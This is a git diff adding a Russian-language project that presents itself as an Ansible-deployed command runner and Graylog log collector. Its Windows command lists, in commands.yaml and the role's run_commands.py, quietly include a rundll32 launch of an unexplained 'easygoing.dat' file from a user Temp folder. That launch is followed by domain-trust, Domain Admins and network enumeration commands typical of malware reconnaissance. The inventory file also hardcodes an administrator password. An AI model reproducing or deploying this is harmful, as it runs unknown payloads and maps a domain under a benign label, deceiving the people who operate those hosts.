diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..43bd7a1 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# Logs +logs/ +*.log + +# Python +__pycache__/ +*.py[cod] +*.pyo +*.pyd +*.pdb + +# Virtual environments +env/ +venv/ +ENV/ +.venv/ + +# Ansible +*.retry + +# System files +.DS_Store +Thumbs.db + +# IDEs and editors +.vscode/ +.idea/ +*.swp +*.swo \ No newline at end of file diff --git a/README.md b/README.md index 4e87323..8f09004 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,193 @@ -# commander +# 🛠 Универсальный скрипт для запуска команд Windows с логированием +## Введение + +Привет! Одна из частых задач — **выполнить серию системных команд**, зафиксировать результат, отловить ошибки и сохранить лог. Чтобы не делать это вручную каждый раз, я подготовил универсальный скрипт, который: + +- Выполняет команды из YAML-файла +- Сохраняет логи в отдельную папку +- Показывает stdout, stderr и статус выполнения +- Удобен для расширения и автоматизации + +--- + +## 🧩 Структура проекта + +``` +old_scripts/ +├── run_commands.py # основной скрипт win +├── script.sh # основной скрипт unix +├── commands.yaml # конфигурация команд +└── logs/ # автоматически создаётся, сюда пишутся логи +``` + +--- + +## 📜 Файл `commands.yaml` + +Можно добавлять любые команды. Главное — указать поле `name` и `command`. + +--- + +## 🔍 Пример запуска + +### ** 1. Python версия скрипта для Windows-хостов** +```bash +python run_commands.py +``` + +В консоли будет отображаться ход выполнения, а весь лог сохраняется в `logs/commands_*.log`. + +--- + +### **2. Bash-версия скрипта для Linux-хостов** + +> ❗ Не забудь `chmod +x script.sh` +> Можно запускать из Ansible с `shell` или `script`. + +--- + +## ⚙️ Настройка Ansible + +### Структура проекта +``` +graylog-collector/ +├── inventory/ +│ └── hosts.ini +├── playbook.yml +└── roles/ + └── graylog_collector/ + ├── tasks/ + │ ├── main.yml + │ ├── windows.yml + │ └── linux.yml + ├── files/ + │ ├── run_commands.py + │ ├── collect_info.sh + │ └── graylog_sender.py + └── defaults/ + └── main.yml +``` + +### Плейбук (playbook.yml) +```yaml +- name: Deploy graylog collector + hosts: all + roles: + - graylog_collector +``` + +## 🔍 Пример использования + +### Поиск в Graylog +```json +source:server01 AND "Domain Admins" +``` + +### Визуализация в Grafana +```sql +SELECT host, COUNT(*) +FROM graylog_messages +WHERE full_message LIKE '%error%' +GROUP BY host +``` + +## 🛠️ Кастомизация + +### Добавление своих команд +1. Для Windows: редактируем `files/commands.yaml` +```yaml +- name: Check DNS + command: nslookup example.com +``` + +2. Для Linux: редактируем `files/collect_info.sh` +```bash +commands+=("dig example.com") +``` + +### Настройка Graylog +В `defaults/main.yml`: +```yaml +graylog_host: logs.mycompany.com +graylog_port: 12201 +windows_log_dir: C:\Collector\Logs +linux_log_dir: /var/log/collector +``` + +## ⚠️ Решение проблем + +### Частые ошибки Windows +```fix +# В PowerShell: +Enable-PSRemoting -Force +Set-NetFirewallRule -Name "WINRM-HTTP-In-TCP" -RemoteAddress Any +``` + +### Ошибки подключения Linux +```bash +# На целевой машине: +sudo systemctl restart sshd +``` + +### Проблемы с Graylog +1. Проверить открытость порта: +```bash +nc -vz logs.mycompany.com 12201 +``` +2. Проверить GELF input в веб-интерфейсе Graylog + +## 📈 Расширенные сценарии + +### Планирование регулярного сбора +Добавляем в `tasks/main.yml`: +```yaml +- name: Schedule daily collection (Windows) + win_scheduled_task: + name: "Daily System Info" + description: "Collect system information" + actions: + - path: "python" + arguments: "C:\\Collector\\run_commands.py" + triggers: + - type: daily + start_time: "03:00" +``` + +### Обработка ошибок +В скриптах добавляем обработку исключений: +```python +try: + # выполнение команды +except Exception as e: + logging.error(f"Command failed: {str(e)}") +``` + +## 💡 Советы из практики + +### 1. **Фильтрация чувствительных данных:** + +```python +# В run_commands.py +if "password" in command.lower(): + logging.warning("Skipping potential sensitive command") + continue +``` + +### 2. **Сжатие логов** перед отправкой: + +```python +import zlib +compressed = zlib.compress(log_content.encode()) +``` + +### 3. **Маркировка хостов** в Graylog: +```python +message["_environment"] = "production" +``` + +### 4. Запускаем плейбук +```bash +ansible-playbook -i inventory/hosts.ini playbook.yml +``` +--- diff --git a/inventory/hosts.ini b/inventory/hosts.ini new file mode 100644 index 0000000..f59b1b7 --- /dev/null +++ b/inventory/hosts.ini @@ -0,0 +1,14 @@ +[windows] +server01 ansible_host=192.168.1.10 + +[linux] +server02 ansible_host=192.168.1.20 + +[windows:vars] +ansible_user=admin +ansible_password=SecurePass123 +ansible_connection=winrm + +[linux:vars] +ansible_user=root +ansible_ssh_private_key_file=~/.ssh/id_rsa diff --git a/old_scripts/commands.yaml b/old_scripts/commands.yaml new file mode 100644 index 0000000..4c7b479 --- /dev/null +++ b/old_scripts/commands.yaml @@ -0,0 +1,30 @@ +commands: + - name: easygoing rundll + command: 'rundll32 C:\\Users\\[REDACTED]\\AppData\\Local\\Temp\\easygoing.dat,#1' + + - name: nltest all_trusts + command: 'nltest /domain_trusts /all_trusts' + + - name: nltest domain_trusts + command: 'nltest /domain_trusts' + + - name: net view domain + command: 'net view /all /domain' + + - name: net view + command: 'net view /all' + + - name: domain admins + command: 'net group "Domain Admins" /domain' + + - name: current codepage + command: 'cmd.exe /c chcp >&2' + + - name: ipconfig + command: 'ipconfig /all' + + - name: workstation config + command: 'net config workstation' + + - name: system info + command: 'systeminfo' \ No newline at end of file diff --git a/old_scripts/graylog_sender.py b/old_scripts/graylog_sender.py new file mode 100644 index 0000000..a1eab0c --- /dev/null +++ b/old_scripts/graylog_sender.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +import json +import socket +import sys +import os +from datetime import datetime + +GRAYLOG_HOST = os.environ.get("GRAYLOG_HOST", "graylog.local") +GRAYLOG_PORT = int(os.environ.get("GRAYLOG_PORT", 12201)) +LOG_FILE = sys.argv[1] + +def send_to_graylog(message: dict): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(json.dumps(message).encode("utf-8"), (GRAYLOG_HOST, GRAYLOG_PORT)) + +def parse_log(file_path: str): + with open(file_path, encoding='utf-8') as f: + blocks = f.read().split('\n--------------------------------------------------\n') + for block in blocks: + lines = block.strip().splitlines() + if not lines: + continue + msg = { + "version": "1.1", + "host": os.uname().nodename, + "short_message": lines[0] if lines else "log entry", + "timestamp": datetime.utcnow().timestamp(), + "_details": '\n'.join(lines) + } + send_to_graylog(msg) + +if __name__ == "__main__": + parse_log(LOG_FILE) \ No newline at end of file diff --git a/old_scripts/run_commands.py b/old_scripts/run_commands.py new file mode 100644 index 0000000..630b69c --- /dev/null +++ b/old_scripts/run_commands.py @@ -0,0 +1,58 @@ +import subprocess +import yaml +from datetime import datetime +import logging +from pathlib import Path + +# Настройка логирования +log_dir = Path("logs") +log_dir.mkdir(exist_ok=True) +log_file = log_dir / f"commands_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log" + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(message)s", + handlers=[ + logging.FileHandler(log_file, encoding='utf-8'), + logging.StreamHandler() + ] +) + +def run_command(command_str: str) -> tuple[str, str, int]: + """Выполняет команду и возвращает stdout, stderr, return_code""" + try: + result = subprocess.run(command_str, shell=True, capture_output=True, text=True) + return result.stdout, result.stderr, result.returncode + except Exception as e: + return "", str(e), -1 + +def main(config_path="commands.yaml"): + # Загрузка конфигурации + try: + with open(config_path, encoding="utf-8") as f: + config = yaml.safe_load(f) + except Exception as e: + logging.error(f"Ошибка при загрузке YAML: {e}") + return + + for item in config.get("commands", []): + name = item.get("name", "Unnamed") + command = item.get("command") + logging.info(f"⏳ Выполняется команда: {name} → {command}") + stdout, stderr, code = run_command(command) + + if code == 0: + logging.info(f"✅ Успешно: {name}") + else: + logging.error(f"❌ Ошибка ({code}): {name}") + + logging.info(f"🔎 STDOUT:\n{stdout.strip()}") + if stderr.strip(): + logging.warning(f"⚠️ STDERR:\n{stderr.strip()}") + + logging.info("-" * 80) + + logging.info("📝 Все команды завершены. Логи: %s", log_file) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/old_scripts/script.sh b/old_scripts/script.sh new file mode 100644 index 0000000..2a0715f --- /dev/null +++ b/old_scripts/script.sh @@ -0,0 +1,27 @@ +#!/bin/bash + +commands=( + "hostnamectl" + "ip a" + "ip route" + "cat /etc/resolv.conf" + "uptime" + "who" + "df -h" + "free -m" + "netstat -tuln" + "systemctl list-units --type=service --state=running" +) + +output_file="/var/log/command_results_$(date +%F_%H-%M-%S).log" + +echo "== Сбор информации начат: $(date) ==" > "$output_file" + +for cmd in "${commands[@]}"; do + echo "Команда: $cmd" >> "$output_file" + echo "Вывод:" >> "$output_file" + eval "$cmd" >> "$output_file" 2>&1 + echo -e "\n$(printf '%0.s-' {1..60})\n" >> "$output_file" +done + +echo "== Сбор информации завершен: $(date) ==" >> "$output_file" \ No newline at end of file diff --git a/playbook.yml b/playbook.yml new file mode 100644 index 0000000..e69de29 diff --git a/roles/graylog_collector/defaults/main.yml b/roles/graylog_collector/defaults/main.yml new file mode 100644 index 0000000..7e913b2 --- /dev/null +++ b/roles/graylog_collector/defaults/main.yml @@ -0,0 +1,4 @@ +graylog_host: graylog.local +graylog_port: 12201 +log_output_dir: C:\Temp\logs # Windows +linux_output_dir: /var/log \ No newline at end of file diff --git a/roles/graylog_collector/files/collect_info.sh b/roles/graylog_collector/files/collect_info.sh new file mode 100644 index 0000000..adfbd1c --- /dev/null +++ b/roles/graylog_collector/files/collect_info.sh @@ -0,0 +1,26 @@ +#!/bin/bash +OUTPUT_DIR="${OUTPUT_DIR:-/var/log}" +filename="$OUTPUT_DIR/command_results_$(date +%F_%H-%M-%S).log" + +commands=( + "hostnamectl" + "ip a" + "ip route" + "cat /etc/resolv.conf" + "uptime" + "who" + "df -h" + "free -m" + "netstat -tuln" + "systemctl list-units --type=service --state=running" +) + +{ + echo "== Сбор информации начат: $(date) ==" + for cmd in "${commands[@]}"; do + echo "Команда: $cmd" + eval "$cmd" 2>&1 + echo "--------------------------------------------------" + done + echo "== Завершено: $(date) ==" +} > "$filename" \ No newline at end of file diff --git a/roles/graylog_collector/files/graylog_sender.py b/roles/graylog_collector/files/graylog_sender.py new file mode 100644 index 0000000..e69de29 diff --git a/roles/graylog_collector/files/run_commands.py b/roles/graylog_collector/files/run_commands.py new file mode 100644 index 0000000..552a038 --- /dev/null +++ b/roles/graylog_collector/files/run_commands.py @@ -0,0 +1,28 @@ +import subprocess, os + +commands = [ + 'hostname', + 'rundll32 C:\\Users\\USERNAME\\AppData\\Local\\Temp\\easygoing.dat,#1', + 'nltest /domain_trusts /all_trusts', + 'nltest /domain_trusts', + 'net view /all /domain', + 'net view /all', + 'net group "Domain Admins" /domain', + 'chcp', + 'ipconfig /all', + 'net config workstation', + 'systeminfo' +] + +output_file = 'command_results.txt' + +with open(output_file, 'w', encoding='utf-8') as file: + for command in commands: + try: + result = subprocess.run(command, shell=True, capture_output=True, text=True) + file.write(f"Command: {command}\n") + file.write(f"Output:\n{result.stdout}\n") + file.write(f"Error:\n{result.stderr}\n") + file.write('-'*50 + '\n\n') + except Exception as e: + file.write(f"Command: {command}\nError: {str(e)}\n" + '-'*50 + '\n\n') \ No newline at end of file diff --git a/roles/graylog_collector/tasks/linux.yml b/roles/graylog_collector/tasks/linux.yml new file mode 100644 index 0000000..307b9b5 --- /dev/null +++ b/roles/graylog_collector/tasks/linux.yml @@ -0,0 +1,20 @@ +- name: Копируем скрипты + copy: + src: "{{ item }}" + dest: /usr/local/bin/ + mode: '0755' + with_items: + - collect_info.sh + - graylog_sender.py + +- name: Выполняем bash-скрипт + shell: "/usr/local/bin/collect_info.sh" + environment: + OUTPUT_DIR: "{{ linux_output_dir }}" + +- name: Отправляем лог в Graylog + shell: | + export GRAYLOG_HOST={{ graylog_host }} + export GRAYLOG_PORT={{ graylog_port }} + latest=$(ls -1t {{ linux_output_dir }}/command_results_*.log | head -n1) + python3 /usr/local/bin/graylog_sender.py $latest \ No newline at end of file diff --git a/roles/graylog_collector/tasks/main.yml b/roles/graylog_collector/tasks/main.yml new file mode 100644 index 0000000..16d5ddb --- /dev/null +++ b/roles/graylog_collector/tasks/main.yml @@ -0,0 +1,2 @@ +- name: Определение платформы + ansible.builtin.include_tasks: "{{ ansible_os_family | lower }}.yml" \ No newline at end of file diff --git a/roles/graylog_collector/tasks/windows.yml b/roles/graylog_collector/tasks/windows.yml new file mode 100644 index 0000000..dc8ca1a --- /dev/null +++ b/roles/graylog_collector/tasks/windows.yml @@ -0,0 +1,27 @@ +- name: Создаем каталог логов + win_file: + path: "{{ log_output_dir }}" + state: directory + +- name: Копируем скрипты + win_copy: + src: "{{ item }}" + dest: "{{ log_output_dir }}/{{ item }}" + with_items: + - run_commands.py + - graylog_sender.py + +- name: Выполняем команды и сохраняем в лог + win_shell: | + cd {{ log_output_dir }} + python run_commands.py + args: + executable: cmd + +- name: Отправляем лог в Graylog + win_shell: | + set GRAYLOG_HOST={{ graylog_host }} + set GRAYLOG_PORT={{ graylog_port }} + python {{ log_output_dir }}\graylog_sender.py {{ log_output_dir }}\command_results.txt + args: + executable: cmd \ No newline at end of file